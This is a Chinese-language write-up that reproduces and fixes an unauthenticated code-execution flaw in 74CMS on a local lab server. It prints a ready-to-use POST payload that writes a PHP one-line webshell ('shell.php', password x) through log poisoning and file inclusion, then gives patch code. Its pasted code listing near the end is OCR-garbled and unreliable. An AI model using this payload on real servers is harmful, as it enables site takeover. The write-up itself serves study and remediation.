01 漏洞描述
参考资料:
https://xz.aliyun.com/t/8021
由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。
下载地址:
http://www.74cms.com/download/index.html
注意:
- 骑士cms不支持php7.x,复现php环境为php5.x即可
- 版本低于6.0.48
本文复现版本:
74cms_Home_Setup_v6.0.20.zip
02 环境搭建
phpstudy2018
74cms_Home_Setup_v6.0.20.zip
注意:
php版本为5.x,暂不支持php7
具体的搭建流程可以参考互联网,因为很简单。
03 复现流程
访问地址:
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl
- 在安装的文件位置中已经发现了记录的错误参数,路径是
C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home
- 进行如下请求
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
此时去看日志信息,一句话菜刀已经记录在日志里
- 开始包含:
在根目录下写入shell.php文件,内容为一句话木马,包含成功
在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x
http://10.211.55.9/74cms/shell.php
执行任意命令,发现执行成功
04 漏洞修复
- 在以下路径的169行进行修改
/Application/Common/Controller/BaseController.class.php
未修改前:
public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key => $value) { $this->assign($key,$value); } return $this->fetch($tpl);
加入下面这行代码:
$view = new \Think\View; $tpl_file = $view->parseTemplate($tpl); if(!is_file($tpl_file)){ return false; } // 修改之后的代码 public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key => $value) { $this->assign($key,$value); } // fix 20210203 $view = new \Think\View; $tpl_file = $view->parseTemplate($tpl); if(!is_file($tpl_file)){ return false; } return $this->fetch($tpl); }
- 以下路径的文件:
/ThinkPHP/Library/Think/View.class.php
View.class.php文件中106行fetch方法中修改
// 将110行 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); // 代码注释替换为 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
106
publicfunctionfetch(tematlecone
if(empty(Scontent))
107
Sthis->parseTemplate(stempateFile)
108
Stemplatefile
植板文件不存在直接返同
109
/(LE(SEMLAtL))ETMATENOXSM
110
ie(isfile(stemplateFile)E(ETMPLATENOTEXST)
111
112
e1se
definedTHEMEPATH)
define(THEMEPATHSthis->getThemeath)
113
or
114
//页面缓存
115
116
obstarto)
obimplicitflush(0)
117
sttolowe(C(TMPLENGINETYPE))(/使用PHP原生模板
if(php'
118
119
Scontenti
Scontent'
模板阵列变量分解成为独立变量
120
121
extract(sthis->tvarEXTROVERWRITE)
/直接载入PHP模板
122
empty(s.content)includestemlateileev1(3.conte)
123
124
e1se
/视图解析标签
125
array:var-ssthistvar,ete-stemplateftle.contentiscontent,pex
126
Sparams二
127
Hook::listen(viewparse.Sparams)
128
获取并清空缓存
129
scontent-obgetclean);
130
内容过滤标签
131
Hook::listenviewfiiter.Sconte)
132
05 修复验证
- 清空log文件中的内容
- 再次写入内容
写入失败,漏洞修复成功